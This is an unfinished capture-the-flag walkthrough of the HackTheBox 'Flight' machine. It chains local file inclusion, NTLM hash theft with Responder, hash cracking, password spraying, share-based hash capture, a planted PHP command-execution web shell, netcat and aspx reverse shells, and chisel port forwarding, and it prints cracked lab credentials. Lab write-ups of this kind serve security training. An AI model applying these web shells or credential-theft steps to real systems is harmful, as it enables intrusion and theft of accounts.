➜ ~

Playing Hacks and Stuffs!

---

Project maintained by h4ckyou Hosted on GitHub Pages — Theme by mattgraham

Flight HackTheBox

Difficulty = Hard

Nmap Scan:

We can see the domain name flight.htb I added it to my /etc/hosts file

So there are lots of port but lets start enumerating

Checking smb doesn’t allow anonymous listing of shares

Moving over to the web server on port 80 shows this

There’s nothing really there

So lets fuzz for subdomains

I’ll update my /etc/hosts file with the new sub domain

Checking it shows this

When I clicked on the home button i get this

Noticing the url we can see that it’s including the file home.html

We can say that this is vulnerable to local file inclusion lets confirm it

One way we can exploit this is by trying to perform ntlm hash theft

Using responder i’ll steal the ntlm hash

While on the web server I’ll do this

Back on responder I got the hash for user svc_apache

I brute forced it using JTR

Now we have a cred svc_apache:S@Ss!K@*t13

Trying to authenticate to winrm fails

But we can login to smb using the cred

It shows the smb hostname as G0 I also added that to my /etc/hosts file

We don’t really have good access over the shares but searching through the shares doesn’t reveal any form of interesting cred

One thing we can do since we have smb cred is to get list of users on the box via rid bruteforce then perform a password spraying attack

I saved the result in a file then used bash scripting to get only the usernames there

Command:
crackmapexec smb flight.htb -u 'svc_apache' -p 'S@Ss!K@*t13' --rid-brute > brute
cat brute | awk '{print $6}' | grep flight | cut -d '\' -f 2 | grep -v svc_apache > users.txt

Now we can use kerbrute to perform password spraying

Cool we have another user’s cred S.Moon:S@Ss!K@*t13

Trying the cred over winrm fails

Checking the perm the user has over smb shows this

Nice we have write access over the Shared share

But looking at the shares shows that no file is there

What we can attempt to do is to upload a file whether scf or ini to perform ntlm hash theft

I used this script to generate the payload file

I had responder listening already and after some seconds I got a hit

I saved the hash then brute forced it using JTR

We have another cred c.bum:Tikkycoll_431012284

Using cme i tried if it can connect to winrm but nope it can’t

Checking the perm the user has over smb gives this

Nice we have access over the Web shares

Moving over there shows that this is where the web server files are placed

I uploaded a php command execution script

<?php
system($_REQUEST['c']);
?>

We can now access it from the web server

To get shell I uploaded nc to the smb and then got shell from it

Shell finally 😃

Lets see what we can do from here

But what I noticed that the current working directory was C:\xampp\htdocs\flight.htb but there’s a inetpub directory in the C:/ drive

So this means maybe there’s an internal web app running 🤔

Checking that directory shows this

We can conclude that the only user privileged to access the development directory is user C.Bum

Though we have the user’s cred but since our shell can’t work well when we run runas i’ll need a better shell

Luckily there’s a tool called RunasCs that can help with this

I uploaded it to the box then got to switch to user c.bum

Back to the web directory it shows the user has write access over it

So what i did was to upload a aspx shell since the web server will be IIS

Now lets see if there’s any internal port

Command: netstat -ano

Port 8000 looks promising cause something is listening on it

And yea it’s a web server

Using chisel I port forwarded the internal port

Back on our host we can now access the internal web server

To access our shell is as easy as going over to /shell.aspx

I got a reverse shell via using nc

We can see that we’re user iis apppool\defaultapppool and it’s a Microsoft Virtual Account. One thing about these accounts is that when they authenticate over the network, they do so as the machine account.

From this we can basically abuse this, by just asking the machine for a ticket for the machine account over the network.

The tool that is used is Rubeus

*** NOT YET PWNED ***